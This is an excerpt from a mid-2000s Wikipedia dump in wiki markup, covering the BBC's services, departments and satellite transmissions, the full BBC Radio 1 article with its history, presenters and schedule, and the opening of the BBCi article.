As well as the various BBC buildings in London, there are major BBC production centres located in [[Cardiff]], [[Belfast]], [[Glasgow]], [[Birmingham]], [[Manchester]], [[Bristol]], [[Southampton]] and [[Newcastle upon Tyne]]. There are also many smaller local and regional studios scattered throughout the UK, some of which are known locally as &quot;Broadcasting House&quot; in imitation of the BBC's London headquarters.

==BBC Services==
[[Image:BBC-newslogo.svg|thumb|right|BBC News logo]]
{{further|[[BBC Television]], [[BBC Radio]]}}
Among its many services are domestic radio and television stations. The BBC also jointly operates a number of other broadcasting services, namely the UKTV channels, some of the Discovery channels, and several other services available on satellite &amp; cable services in the UK.

It also has many non-broadcasting commercial ventures within the United Kingdom including book &amp; magazine publishing ([[BBC Books]]), and multimedia production services (DVDs, CDs, computer games) provided by [[BBC Multimedia]].

The BBC has both satellite and cable broadcasting joint-ventures serving the [[United States]], [[Canada]], and other countries. In addition the BBC operates a number of radio and television world services in cooperation with funding from the [[Foreign and Commonwealth Office]], one of which includes a recently set up TV news station in the [[Middle East]] in the [[Arabic language]].

Before the introduction of [[ITV|Independent Television]] in [[1955]] and subsequently [[Independent Radio]] in [[1973]], it held a monopoly on broadcasting. More recent deregulation of the [[British television broadcasting]] market produced analogue [[cable television]] and [[Satellite television|satellite broadcasting]] and later [[Digital Satellite System|digital satellite]], [[digital cable]] and [[digital terrestrial television]] (DTT). Today the BBC broadcasts in almost all media and operates an [[Internet]] service, [[bbc.co.uk]].

=== BBC Departments ===
* Governances &amp; Accountability

* Programming Groups
** [[BBC News|News]]
** Drama Entertainment &amp; [[CBBC]]
** Factual &amp; Learning
** [[BBC Sport|Sport]]

* Broadcasting Groups
** World Service
** TV
** New Media &amp; Technology
** Radio &amp; Music
** Nations &amp; Regions

* Professional Services
** Strategy (formerly Strategy and Distribution and merged with Policy and Legal)
** Marketing, Comms and Audiences
** Finance Property &amp; Business Affairs
** [[BBC People]] (to 2004, Human Resources &amp; Internal Communications)

* Commercial Groups
** [[BBC Resources Ltd]]
** [[BBC Worldwide Ltd]]

===BBC News===
{{main|BBC News}}

BBC News is the largest broadcast news gathering operation in the world and it produces almost 160 hours of news output every hour. BBC News provides its services to BBC domestic radio as well as television networks such as [[BBC News 24]], [[BBC Parliament]], [[BBC World]], [[BBCi]], [[Ceefax]] and [[BBC News Online]].  New BBC News services that are also proving popular are mobile services to mobile phones and PDAs.  Desktop news alerts, e-mail alerts, and digital TV alerts are also available.

The BBC News Centre maintains its headquarters within the BBC Television Centre. It also operates regional news offices throughout the UK and bureaux in almost every country around the world. Coverage of political events is controlled from the [[Millbank|Millbank Studios]] in Westminster.  On [[5 July]] [[2004]] the BBC celebrated 50 years of television news. Its first bulletin was telecast in [[1954]]. The BBC had carried news programmes prior to this, but in the form of [[newsreels]].

Although the BBC news service in the UK is mostly non-commercial by reason of its financial base, it does compete for its audience with commercial companies such as [[Sky News]] and [[ITN]]. During major events the majority of domestic television viewers in the UK tune to BBC news for information, but its coverage does not come without criticism.

===Radio===
{{further|[[BBC Radio]], [[BBC Local Radio]]}}
The BBC has five major national stations, [[BBC Radio 1|Radio 1]] (&quot;the best in new music&quot;), [[BBC Radio 2|Radio 2]] (the UK's most listened to radio station, with 13.7 million weekly listeners), [[BBC Radio 3|Radio 3]] (specialist-interest music such as classical, world, arts, drama and jazz), [[BBC Radio 4|Radio 4]] (current affairs, drama and comedy), and [[BBC Radio 5 Live|Radio 5 Live]] (24 hour news, sports and talk).  

There is also a network of local stations with a mixture of talk, news and music in [[England]] and the [[Channel Islands]] as well as national stations of [[BBC Radio Wales]], [[BBC Radio Cymru]] (in [[Welsh language|Welsh]]), [[BBC Radio Scotland]], [[BBC Radio nan Gaidheal]] (in [[Scots Gaelic]]), [[BBC Radio Ulster]], and [[BBC Radio Foyle]].

The BBC has been in the forefront of digital radio broadcasting with [[BBC Five Live Sports Extra|Five Live Sports Extra]] (a companion to Five Live for additional events coverage), [[BBC 1Xtra|1Xtra]] (for black, urban and gospel music), [[BBC 6 Music]] (''alternative'' genres of music), [[BBC7]] (Comedy, Drama &amp; Kids shows), [[BBC Asian Network|Asian Network]] (Asian talk, music and news in many Asian languages), and [[BBC World Service|World Service]].

For a world-wide audience, the BBC produces the [[BBC World Service]], which is broadcast on [[shortwave]] radio (DAB Digital Radio in the UK) and can be received in many places across the globe.  It can be received in most capital cities and it is a major source of news and information programming, and it is funded by the British Foreign Office.  It broadcasts in 43 different languages, (including English) in the most relevant local language.

The German Service, created in 1938, which has recently been discontinued, played an important part in the propaganda war against Nazi Germany. The authoritative source is [[Carl Brinitzer]]'s book &quot;Hier spricht London&quot;. Brinitzer, a German lawyer from Hamburg living in exile in London, was a founding member. Another famous member of staff was [[Egon Jameson]] (Egon Jacobsson), a former [[Ullstein]] journalist from [[Berlin]].

Since [[1943]], the BBC has also provided radio programming to the [[British Forces Broadcasting Service]], which broadcasts in countries where British troops are stationed. 

All of the national BBC radio stations, as well as the BBC World Service, are available over the [[Internet]] in the [[RealAudio]] streaming format. The BBC has also recently experimented with the [[free software|free]], [[open source]] [[Vorbis|Ogg Vorbis]] streaming audio format and [[podcasting]].

===Television===
{{main|BBC Television}}

[[BBC One]] and [[BBC Two]] are the BBC's flagship television channels.  The BBC is also promoting the new channels [[BBC Three]] and [[BBC Four]], which are only available via [[digital television]].  The BBC also runs [[BBC News 24]], [[BBC Parliament]], and two children's channels, [[CBBC Channel|CBBC]] and [[CBeebies]].  The BBC's commercial subsidiary [[BBC Worldwide]] is also part of a joint venture with [[Flextech]] in the TV company [[UKTV]], and provides various channels for overseas markets, such as [[BBC World]], [[BBC Prime]], [[BBC America]], [[BBC Canada]] and [[BBC Kids]] (in Canada), and [[BBC Japan]].

Since [[1975]], the BBC has also provided its TV programmes to the [[British Forces Broadcasting Service]] (BFBS), allowing members of [[Military of the United Kingdom|HM Forces]] serving all over the world to watch and listen to their favourite programmes from home on two dedicated TV channels.

===Worldwide===
[[BBC Worldwide]] Limited is the wholly owned commercial subsidiary of the BBC responsible for the commercial exploitation of BBC programmes and other properties. It broadcasts television stations throughout the world. The cable and satellite stations [[BBC Prime]] (in [[Europe]], [[Africa]] the [[Middle East]], and [[Asia]]), [[BBC America]],  [[BBC Canada]], and [[BBC Japan]] broadcast popular BBC programmes to people outside the UK, as does [[UK.TV]] in [[Australasia]]. BBC Worldwide also runs a 24-hour news channel, [[BBC World]]. In addition, BBC television news appears nightly on many [[Public Broadcasting Service]] stations in the [[United States]], as do reruns of BBC programmes from Lionheart TV.

BBC Worldwide also maintains the publishing arm of the BBC and it is the third-largest publisher of consumer magazines in the United Kingdom [http://www.bbcworldwide.com/aboutus/corpinfo/annualreps/review2001/Documents/Magazines.pdf]. BBC Magazines, formerly known as BBC Publications, publishes the ''[[Radio Times]]'' and a number of magazines that support BBC programming such as ''[[Top Gear|BBC Top Gear]]'', ''[[BBC Good Food]]'', and'' [[BBC Music]]''. In addition, BBC Worldwide acquired the independent magazine publisher Origin Publishing in 2004.

===Internet===
{{main|bbc.co.uk}}

The bbc.co.uk [http://www.bbc.co.uk/] [[website]], formerly BBCi and before that BBC Online, includes a comprehensive [[BBC News Online|news website]] and archive. It is the UK's most-visited digital destination with over 3 million web pages and that number is rising fast every day. According to [[Alexa Internet|Alexa]]'s TrafficRank system, in January 2006 bbc.co.uk was the 11th most popular [[English Language]] website in the world. (References: [http://www.alexa.com/site/ds/top_sites?ts_mode=global&amp;lang=none Global Top 500 Sites] - [http://www.alexa.com/site/ds/top_sites?ts_mode=lang&amp;lang=en Top English Language Sites])

The website allows the BBC to produce sections which complement the various programmes on television and radio, and it is common for viewers and listeners to be told [[Uniform Resource Locator|website addresses]] for the bbc.co.uk sections relating to that programme. The site also allows users to listen to most Radio output live and for seven days after broadcast using its [[RealPlayer]]-based &quot;Radio Player&quot;; some TV content is also distributed in [[RealVideo]] format. A new system known as [[Interactive Media Player|iMP]] is currently under development, which uses [[peer-to-peer]] and [[Digital rights management|DRM]] technology to deliver both radio and TV content for offline use for up to 7 days.

In recent years some major on-line companies and politicians have complained that the bbc.co.uk website receives too much funding from the television licence, meaning that other websites are unable to compete with the vast amount of advertising-free on-line content available on bbc.co.uk. Some have proposed that the amount of licence fee money spent on bbc.co.uk should be reduced &amp;mdash; either being replaced with funding from advertisements or subscriptions, or a reduction in the amount of content available on the site.  In response to this the BBC carried out an investigation, and has now set in motion a plan to change the way it provides its online services.  bbc.co.uk will now attempt to fill in gaps in the market, but will guide users to other websites for currently existing market provision.  (For example, instead of providing local events information and timetables, users will be guided to outside websites already providing that information.)
Part of this plan included the BBC closing some of its websites, and rediverting money to redevelop other parts.

===Interactive===
[[BBCi]] is the brand name for the BBC's [[Interactive television|interactive]] [[digital television]] services, which are available through [[Freeview]] (digital terrestrial), as well as [[Sky Digital]] (satellite) and (cable) [[NTL]] and [[Telewest]]. Unlike [[Ceefax]], BBCi is able to display full-colour graphics, photographs, and video, as well as eductional programs. Recent examples include the interactive sports coverage for [[football (soccer)|football]] and [[rugby football]] matches, [http://www.imdb.com/title/tt0415069/ BBC Soundbites] which starred young actress [[Jennifer Lynn]] and an interactive national IQ test. All of the BBC's digital television stations, with the exception of [[BBC Parliament]] on [[digital television|digital satellite]], allow access to the BBCi service. However, the amount of content available on the digital television BBCi service does not currently match the amount available on Ceefax, which is still available on [[Analog television|analogue]] [[terrestrial television]].

BBCi provides viewers with over 120 interactive TV programmes every year, as well as the 24/7 service.

==Unencrypted satellite transmissions==
In March 2003 the BBC announced that from the end of May 2003 (subsequently deferred to [[14 July]]) it intended to transmit all eight of its domestic television channels (including the 15 regional variations of BBC 1) unencrypted from the [[Astra 2D]] satellite. This move was estimated to save the BBC £85 million over the next five years.

While the &quot;footprint&quot; of the Astra 2D satellite was smaller than that of Astra 2A, from which it was previously broadcast encrypted, it meant that viewers with appropriate equipment were able to receive BBC channels &quot;free-to-air&quot; over much of Western Europe. Consequently, some rights concerns have needed to be resolved with programme providers such as [[List of Hollywood movie studios|Hollywood studios]] and sporting organisations, which have expressed concern about the unencrypted signal leaking out.  This led to some broadcasts being made unavailable on the [[Sky Digital]] platform, such as [[Scottish Premier League]] and [[Scottish Cup]] [[football (soccer)|football]], while on other platforms such broadcasts were not disrupted. Later, when rights contracts were renewed, this problem was resolved.

==References==
#Briggs, Asa. - '''''The BBC - The First Fifty Years''''' - Condensed version of the five-volume history by the same author. - Oxford University Press, 1985. ISBN 0-19-212971-6
#Coulton, Barbara. - '''''Louis MacNeice in the BBC''''' - Writer and producer from 1941 to 1961 in the Features Department of BBC radio. - Faber and Faber, 1980. ISBN 0-571-11537-3
#Gilder PhD., Eric. - '''''Mass Media Moments in the United Kingdom, the USSR and the USA'''''. - Historical background relating to the British Broadcasting Company, Ltd., its founding companies; their transatlantic connections; General Post Office licensing system; commercial competitors from Europe prior to World War II and offshore during the 1960s. - &quot;Lucian Blaga&quot; University of Sibiu Press, Romania. 2003. ISBN 973-651-596-6
#Milne, Alasdair. - '''''The memoirs of a British broadcaster''''' - History of the Zircon spy satellite affair, written by a former Director General of the BBC. A series of BBC radio programmes called &quot;''The Secret Society''&quot;  led to a raid by police in both England and Scotland to seize documents as part of a government censorship campaign. - Coronet, 1989. - ISBN 0-34-049750-5
#Moran, Lord. - '''''Churchill at War 1940 to 1945 - The Memoirs of Churchill's Doctor''''', with an introduction by Lord Moran's son, John, the present Lord Moran. - This diary paints an intimate portrait of Churchill by Sir Charles Watson, his personal physician (Lord Moran), who spent the war years with the Prime Minister. In his diary, Moran recorded insights into Churchill's character, and moments when he let his guard down, including his views about the BBC being riddled with communists. - Carroll &amp; Graf, 2002. Reissue ISBN 0-78-671041-1 
#Parker, Derek. - David &amp; Charles - '''''Radio: The Great Years''''' - History of BBC radio programmes from the beginning until the date of publication. 1977. ISBN 0-7153-7430-3
#Spangenberg, Jochen. - '''''The BBC in Transition. Reasons, Results and Consequences''''' - Encompassing account of the BBC and influencing external factors until 1996. - Deutscher Universitaetsverlag. 1997. ISBN 3-8244-4227-2
#Wilson, H.H. - '''''Pressure Group''''' - History of the political fight to introduce commercial television into the United Kingdom. - Rutgers University Press, 1961.
#West, W.J. - '''''Truth Betrayed''''' a critical assessment of the BBC, London, 1987, ISBN 0-7156-2182-3

==See also==
* [[List of BBC related topics]]
* [[BBC Asian Network]]
* [[BBC Birmingham]]
* [[BBC Research Department]]
* [[BBC Network]]

==External links==
===BBC web pages===
*[http://www.bbc.co.uk/ bbc.co.uk: ''BBC Homepage'']
*[http://www.bbc.co.uk/info/ bbc.co.uk: ''About the BBC'']
*[http://www.bbcnews.com/ News: ''BBC News World Edition'']
* [http://www.bbc.co.uk/pressoffice/keyfacts/stories/broadcasting_house.shtml BBC Press Office - Broadcasting House]
* [http://www.bbc.co.uk/heritage/buildings/broadcasting_house.shtml History of the BBC - Broadcasting House]
* [http://www.bbc.co.uk/guidelines/editorialguidelines/ BBC Editorial Guidelines]
*[http://www.bbc.co.uk/info/policies/charter/pdf/charter_text.shtml Copy of Royal Charter 1]
*[http://www.bbc.co.uk/shropshire/features/blog/ Morris Telford's Blog &amp;ndash; ''BBC Shropshire'']
* [http://www.bbc.co.uk/testthenation/test2004/index.shtml BBC Test the Nation]

===Articles from news websites===
*[http://news.bbc.co.uk/2/hi/europe/4375652.stm Evolution of bbc broadcasting languages]
*[http://www.sundayherald.com/33018 Sunday Herald: ''The BBC's war ... caught in crossfire'' (Mark Damazer, Deputy Director, BBC News)] &amp;mdash; [[13 April]] [[2003]]
*[http://www.wired.com/news/culture/0,1284,63857,00.html?tw=wn_tophead_4 Wired: ''BBC to Open Content Floodgates'' BBC's Creative Archive project] &amp;mdash; [[16 June]] [[2004]]
*[http://media.guardian.co.uk/broadcast/story/0,7493,753213,00.html Media Guardian: ''BBC renews conflict of interest guide for staff''] &amp;mdash; [[11 July]] [[2002]]
*[http://media.guardian.co.uk/site/story/0,14173,1426542,00.html Media Guardian: ''Tories go to war over 'leftie' BBC''] &amp;mdash; [[27 February]] [[2005]]
*[http://news.independent.co.uk/uk/politics/article313482.ece The Independent: Blair tells Murdoch: 'gloating' BBC is 'full of hatred for America'] &amp;mdash; [[18 September]] [[2005]]

===Personal sites===
* [http://www.miketodd.net/other/bhhistory/ Broadcasting House - a potted history]
* [http://www.roger.beckwith.btinternet.co.uk/bh/bh32/bh32_i.htm Broadcasting House in 1932]
* [http://www.htw.info/bbc.html Historical Television Website: ''This is the BBC'']
* [http://www.tv-ark.org.uk TV Ark - The British Television Museum]
* [http://www.globalcitizen.co.uk/about/essays/bbc.doc Essay examining the reasons for and against the licence fee]
* [http://www.thetvroom.com The TV Room]


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  <page>
    <title>BBC Radio 1</title>
    <id>4348</id>
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      <id>41700031</id>
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      <contributor>
        <username>DHowell</username>
        <id>315451</id>
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      <minor />
      <comment>remove redundant parent category</comment>
      <text xml:space="preserve">{{Infobox Radio Station
 | name = BBC Radio 1
 | image = [[Image:BBC Radio 1.png|200px|Radio 1 logo]] 
 | area = [[UK]] - National [[FM]] &amp; [[Digital Audio Broadcasting|DAB]] &lt;br&gt; [[United States|US]]/[[Canada]] - [[Sirius Satellite Radio]]
 | airdate = [[September 30]] [[1967]]
 | frequency = 97 [[megahertz|MHz]] - 99 MHz &lt;small&gt;(UK)&lt;/small&gt;&lt;br&gt;XS11 &lt;small&gt;(Sirius)&lt;/small&gt;
 | format = Contemporary
 | owner = [[BBC]]
 | website = [http://www.bbc.co.uk/radio1 www.bbc.co.uk/radio1]
}}

'''BBC Radio 1''' is a [[United Kingdom|British]] [[radio station]], specialising in [[popular music]] aimed at the 16-24 age bracket.  Radio 1 was launched at 7am on [[September 30]], [[1967]] as a direct response to the popularity of offshore [[pirate radio]] stations such as [[Radio Caroline]]. 

==History==

The first DJ to broadcast on the new station was [[Tony Blackburn]], whose cheery style won him the prime slot on what became known as the &quot;Radio 1 Breakfast Show&quot;. The first words spoken on Radio 1 were &quot;... And, good morning everyone.  Welcome to the exciting new sound of Radio 1&quot;. The first record played on Radio 1 was ''Flowers in the Rain'' by [[The Move]].  The breakfast programme remains the most prized slot in the Radio 1 schedules, with every change of presenter exciting considerable media interest. 

The initial rota of staff included the legendary [[John Peel]] (with the station until his death in October 2004) and a gaggle of others, some hired from pirates, such as [[Ed Stewart]], [[Terry Wogan]], [[Jimmy Young (disc jockey)|Jimmy Young]], [[Dave Cash (disc jockey)|Dave Cash]], [[Kenny Everett]], [[Simon Dee]], [[Pete Murray (disc jockey)|Pete Murray]], and [[Bob Holness]]. 

Radio 1 initially broadcast on 1214 kHz [[mediumwave]] (or 247 metres as it was referred to at the time) and moved to 1053/1089 kHz (275/285 metres) in [[1978]] (it was the only BBC National station without a dedicated [[FM]] frequency). In the [[1970s]] and early [[1980s]] it was allowed to take over [[BBC Radio 2|Radio 2's]] FM transmitters for a few hours per week, most notably for the Top 40 Singles Chart on Sunday afternoons and for some evening programmes including [[John Peel]]'s show. In [[1988]] the 97–99 MHz frequencies became available when the existing [[police]] communication allocation changed, and Radio 1 acquired them for its own national FM network. Its old mediumwave frequencies were reallocated to commercial stations in [[1994]] (Radio 1's last broadcast on MW was on [[July 1]] that year, with [[Stephen Duffy]]'s &quot;Kiss Me&quot; being the last record played on MW just before 9am). In the [[1990s]] it also began broadcasting on spare audio subcarriers on [[Sky Television plc|Sky Television]]'s analogue satellite service, initially in mono (on [[UK Gold]]) and later in stereo (on [[UK Living]]). Today it can be heard on [[Digital Audio Broadcast|DAB]], [[Freeview]], [[NTL]] and [[Telewest Broadband]] [[cable television]] services, [[Sky Digital]] and the [[Internet]] as well as FM. In July of [[2005]], [[Sirius Satellite Radio]] began [[simulcast|simulcasting]] Radio 1 across the [[United States]] on channel 11, and [[Sirius Canada]] began simulcasting Radio 1 when they launched on [[December 1]], 2005 (also on channel 11). The simulcast is [[timeshift|timeshifted]] five hours to allow US and Canadian listeners in the [[Eastern Time Zone]] to hear Radio 1 at the same time of day as UK listeners.

There were major changes to the station in the mid 1990s by the then controller, [[Matthew Bannister]]. He led a campaign to rid the station of its '[[Smashie and Nicey]]' image and revert it to a youth station catering for the under 25s. Although originally launched as a youth station, by the early 1990s, its loyal listeners (and DJs) had aged with the station over its 25 year history. Bannister had a ruthless purge of the older DJs and banned old music (typically anything recorded before 1990) from the daytime playlist.  Listeners rebelled as the first new DJs to be introduced represented a crossover from other parts of the BBC media empire with [[Emma Freud]] and [[Danny Baker]]. Bannister promoted [[Chris Evans (British broadcaster)|Chris Evans]] to the prime morning slot even though Evans' own media interests were in conflict with the public benefit remit of the station. Evans was eventually sacked in [[1997]], and was replaced by [[Mark and Lard]] - [[Mark Radcliffe]] (along with his sidekick [[Marc Riley]]), who was in turn replaced by [[Zoe Ball]] and [[Kevin Greening]] just 6 months later in October 1997. The re-invention of the station happened at a fortuitous time, with the rise of [[Britpop]] in the early 90s - bands like Oasis, Blur and Pulp were both popular and 'credible' at the time and the station's popularity rose with them. As the 90s went on the Britpop boom declined and manufactured chart pop ([[boy bands]] and acts aimed at sub-teenagers) came to dominate the charts Radio 1 found itself again in the position it had been in in the late 80s, where bland playlisted chart music dominated the daytime shows and new genre music occupied the evenings. 

Listening figures continued to decline but the station succeeded in its aim to target a younger age group. Eventually, this change in content was reflected by a rise in audience that is continuing to the day. Notably, the station has received praise for shows such as [[The Sunday Surgery]], [[Bobby Friction]] and [[Nihal]], ''The Evening Session'' with [[Steve Lamacq]] and its succesor [[Zane Lowe]]. Its [http://www.bbc.co.uk/radio1/ website] has also been well received.

A new evening evening schedule introduced in recently divides up the week by genres; Tuesday is mainly rock-oriented, Wednesday is R&amp;B and hip-hop, Thursday is dance, Friday and Saturday are primarily dance with specialist R&amp;B and reggae shows.

However, the station's two showcase shows, the breakfast show and the [[UK Top 40]] continued to struggle. In 2000, Zoe Ball was replaced in the mornings by friend and fellow [[ladette]] [[Sara Cox]], but despite heavy promotion listening figures for the iconic breakfast show continued to fall. In 2004 Cox was replaced by [[Chris Moyles]]. The new rebranded breakfast show is known as [[The Chris Moyles Show]] and has dramatically increased its audience to challenge [[Today programme|''Today'' programme]] on [[BBC Radio 4|Radio 4]] as the second most popular breakfast show (after [[Terry Wogan]]). The chart show has struggled as single sales in the UK fell and [[Wes Butters]] unsuccesfully replaced long-time host [[Mark Goodier]]. Current hosts [[JK and Joel]] now present only the second most popular radio chart show, but the 'official' Radio 1 chart (compiled by [[The Official UK Charts Company]]) remains the standard measure of Single sales success in the [[UK]].

Many of the DJs either ousted by Bannister or who left during his tenure (such as [[Johnnie Walker (DJ)|Johnnie Walker]] and [[Steve Wright]]) have subsequently joined [[Radio 2]] which has now overtaken Radio 1 as the UK's most popular radio station, using a style that Radio 1 had up until the early 1990s.

==Music==
Radio 1 is notable for the range of music it plays.  While most commercial stations concentrate on a particular theme, such as [[1980s]] music or &quot;classic rock&quot;, Radio 1 plays a diverse mix of current songs, including [[indie rock|independent]]/alternative, rock, [[house music|house]]/electronica, drum 'n' bass, world, [[pop music|pop]] and [[rapping|rap]].

Due to restrictions on the amount of commercial music that could be played on radio in the UK until 1988 (the so-called &quot;needle time&quot; limitation) the station has recorded a great many live performances and studio sessions over the years, many of which have subsequently (and perhaps ironically) found their way onto commercially-available LPs and CDs. There have also been innumerable [[rockumentary]] shows and interviews. Although this type of programming arose from necessity it has given the station some much-needed diversity. The needletime restrictons meant that the station tended to have a higher level of speech by DJ's. While the station is often criticised for (often banal) &quot;waffling&quot; by presenters, an experimental &quot;more music day&quot; in 1988 was declared a failure after only a third of callers favoured it.

==Presenters==
Current presenters on this station include [[Steve Lamacq]], [[Zane Lowe]], [[Mary Anne Hobbs]], and [[Mike Davies]], who all host their own respective rock and indie oriented shows. Also in the station's stable are [[rhythm and blues|R&amp;B]], [[UK garage|garage]] and rap supremos such as [[Tim Westwood]] and [[Trevor Nelson]]. Club [[DJ|DJs]] include [[Pete Tong]], [[Fergie]] and [[Judge Jules]].  

An alphebetical list of present presenters is below

'''Daytime'''

*[[Edith Bowman]] ([[Colin and Edith]])
*[[Mark Chapman]] ([[Chappers and Dave]])
*[[Sara Cox]]
*[[Vernon Kay]]
*Jason King ([[JK and Joel]])
*[[Scott Mills]]
*[[Chris Moyles]] ([[The Chris Moyles Show]])
*[[Colin Murray]] ([[Colin and Edith]])
*[[Trevor Nelson]]
*Joel Ross ([[JK and Joel]])
*Spoony
*[[Comedy Dave]] Vitty ([[Chappers and Dave]]) / ([[The Chris Moyles Show]])
*[[Jo Whiley]]

==Regionalisation==
Since [[1999]], Radio 1 has split the nations on a Thursday night with [[Scotland]], [[Wales]] and [[Northern Ireland]] broadcasting their own shows showcasing regional talent with Zane Lowe still being heard in [[England]]. Scotland's show is presented by [[Vic Galloway]] who has presented the show on his own since [[2004]] after original co-host [[Gill Mills]] departed. Wales's show is hosted by One Music's [[Huw Stephens]] and [[Bethan Elfyn]], whilst [[Rory McConnell]] presents the Northern Irish programme, taking over from [[Donna Legge]] who continues to present [[Across the Line (BBC Radio Ulster)]]. 

They originally went out from 20.00-22.00 on the Evening Session's time slot but now broadcasts from 19.30-21.00 with the first half hour of Zane Lowe going out across the whole of the UK before going their separate ways.

==Current schedule==

===Monday-Thursday===
04.00-07.00 [[JK and Joel]] &lt;br&gt;
07.00-10.00 [[Chris Moyles]] ''[[The Chris Moyles Show]]'' &lt;br&gt;
10.00-12.45 [[Jo Whiley]] &lt;br&gt;
12.45-13.00 [[Newsbeat]] &lt;br&gt;
13.00-16.00 [[Colin Murray|Colin]] and [[Edith Bowman|Edith]] &lt;br&gt;
16.00-17:45 [[Scott Mills]] ''[[The Scott Mills Show]]''&lt;br&gt;
17.45-18.00 Newsbeat &lt;br&gt;
18.00-19.00 Scott Mills ''The Scott Mills Show'' &lt;br&gt;
19.00-21.00 [[Zane Lowe]] &lt;br&gt;
21.00-03.00 Specialist programmes (see below) &lt;br&gt;
03.00-04.00 Oneclick (see below) &lt;br&gt;

====Mondays====
21.00-01.00 [[Steve Lamacq]] ''Lamacq Live'' &lt;br&gt;
01.00-03.00 [[Mary Anne Hobbs]] ''The Breezeblock'' &lt;br&gt;
03.00-04.00 Oneclick/Magazine &lt;br&gt;

====Tuesdays====
21.00-23.00 [[Mike Davies]] ''The Lock Up''&lt;br&gt;
23.00-01.00 [[Huw Stephens]] ''OneMusic''&lt;br&gt;
01.00-03.00 [[Mike Davies]] ''Radio 1 Rock Show''&lt;br&gt;
03.00-04.00 Oneclick/Future &lt;br&gt;

====Wednesdays====
21.00-23.00 [[Bobby Friction]] &amp; [[Nihal]] &lt;br&gt;
23.00-01.00 [[Ras Kwame]] ''OneMusic'' &lt;br&gt;
01.00-03.00 [[Trevor Nelson]] ''Soul Nation'' &lt;br&gt;
03.00-04.00 Oneclick/Film &lt;br&gt;

====Thursdays====
21.00-23.00 [[Annie Mac]] &lt;br&gt;
23.00-01.00 [[Rob Da Bank]] ''One Music'' &lt;br&gt;
01.00-03.00 [[Annie Nightingale]] &lt;br&gt;
03.00-04.00 Oneclick/Comedy &lt;br&gt;

===Fridays===
4.00-7.00 [[Fearne Cotton]] &amp; [[Reggie Yates]] ''Fearne &amp; Reggie'' &lt;br&gt;
7.00-18.00 ''As Monday-Thursday'' &lt;br&gt;
18.00-21.00 [[Pete Tong]] ''The Essential Selection'' &lt;br&gt;
21.00-23.00 [[Tim Westwood]] ''Radio 1 Rap Show'' &lt;br&gt;
23.00-01.00 [[Chris Goldfinger]] ''Reggae Dancehall Nite'' &lt;br&gt;
01.00-03.00 [[Fabio]] &amp; [[Grooverider]] &lt;br&gt;
03.00-05.00 [[1Xtra]] Presents &lt;br&gt;

===Saturdays===
5.00-7.00 [[Chris Coco]]/[[Rob Da Bank]] ''The Blue Room'' &lt;br&gt;
7.00-10.00 [[Spoony]] ''Weekend Breakfast'' &lt;br&gt;
10.00-13.00 [[Vernon Kay]] &lt;br&gt;
13.00-16.00 [[Sara Cox]] &lt;br&gt;
16.00-19.00 [[Trevor Nelson]] &quot;The Lowdown&quot; &lt;br&gt; 
19.00-21.00 [[Judge Jules]] &lt;br&gt;
21.00-23.00 [[Tim Westwood]] ''Radio 1 Rap Show'' &lt;br&gt;
23.00-01.00 [[Fergie]] &lt;br&gt;
01.00-03.00 Essential Mix &lt;br&gt;
03.00-05.00 The Residency &lt;br&gt;

===Sundays===
5.00-7.00 [[Chris Coco]]/[[Rob Da Bank]] ''The Blue Room'' &lt;br&gt;
7.00-10.00 [[Spoony]] ''Weekend Breakfast'' &lt;br&gt;
10.00-13.00 [[Vernon Kay]] &lt;br&gt;
13.00-16.00 [[Sara Cox]] &lt;br&gt;
16.00-19.00 [[JK and Joel]] ''[[UK Singles Chart|The Official Chart Show]]'' &lt;br&gt;
19.00-21.00 [[Dave Pearce]] ''Dance Anthems'' &lt;br&gt;
21.00-23.00 [[Dr Mark Hamilton]] &amp; [[Letitia]] ''Sunday Surgery'' &lt;br&gt;
23.00-01.00 [[Gilles Peterson]] ''Worldwide'' &lt;br&gt;
01.00-03.00 One World &lt;br&gt;
03.00-04.00 Oneclick/Playlist &lt;br&gt;

Following the untimely death of [[John Peel]] in October 2004, [[Annie Nightingale]] is now the longest serving presenter at the station having worked there since [[1969]]. Her show can be heard Thursdays (01.00–03.00).

== Controllers of BBC Radio 1 ==

*1967&amp;ndash;1968: [[Robin Scott]]
*1968&amp;ndash;1975: [[Douglas Muggeridge]]
*1975&amp;ndash;1978: [[Charles McLelland]]
*1978&amp;ndash;1985: [[Derek Chinnery]]
*1985&amp;ndash;1993: [[Johnny Beerling]]
*1993&amp;ndash;1998: [[Matthew Bannister]]
*1998&amp;ndash;present: [[Andy Parfitt]]

== Official Logos ==
&lt;gallery&gt;
Image:BBC Radio 1logo 1967.gif|1967-1970
Image:BBC Radio 1logo 1970.gif|1970-1974
Image:BBC Radio 1logo 1974.gif|1974-1975
Image:BBC Radio 1logo 1975.gif|1975-1987
Image:BBC Radio 1logo 1988.gif|1988-1990
Image:BBC Radio 1logo 1991.gif|1991-1994
Image:BBC Radio 1logo 1994.gif|1994-1997
Image:BBC Radio 1logo 1998.gif|1997-2001
Image:BBC Radio 1logo 2001.gif|2001-present day
&lt;/gallery&gt;

Logo images from Radio Rewind

==See also==
*[[List of BBC radio stations]]
*[[Egton House]]
*[[Yalding House]]

{{BBC Radio}}

== External links ==
*[http://www.bbc.co.uk/radio1/ BBC Radio 1]
*[http://www.bbc.co.uk/radio/aod/radio1.shtml?listen BBC Radio 1 live streaming]
&lt;!--*[http://www.bbc.co.uk/radio1/realaudio/media/r1live.ram BBC Radio 1 live streaming]--&gt;
*[http://www.theofficialcharts.com/ The Official UK Charts Company]
*[http://www.radiorewind.co.uk/ Radio Rewind's BBC Radio 1 historic website]

[[Category:BBC national radio stations|1]]
[[Category:BBC Radio 1]]
[[Category:Sirius Satellite Radio channels]]


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  <page>
    <title>BBCi</title>
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      <comment>Added BBC Text (before name change to BBCi information and link)</comment>
      <text xml:space="preserve">[[Image:BBCi (logo).gif|right|The newest BBCi logo]]
'''BBCi ''' is the brand name for the [[BBC]]'s [[interactive television]] services. The name was introduced in [[November 2001]] and originally encompassed the corporation's online services, which were renamed to [[bbc.co.uk]], from [[May 6]] [[2004]].

The services are broadcast on [[digital cable]], digital [[satellite television|satellite]] and [[digital terrestrial television]] (''[[Freeview]]''). They include text and video based services, and enhanced television programmes which offer extra information, video or quizzes.

BBCi, the new Digital Teletext Service for the BBC, replaces most of [[CEEFAX]], the oldest [[teletext]] service in the world. However, CEEFAX can still be received via analogue broadcasts. Additionally on Freeview it provides a service allowing viewers to access a quarter sized video of [[BBC Parliament]].

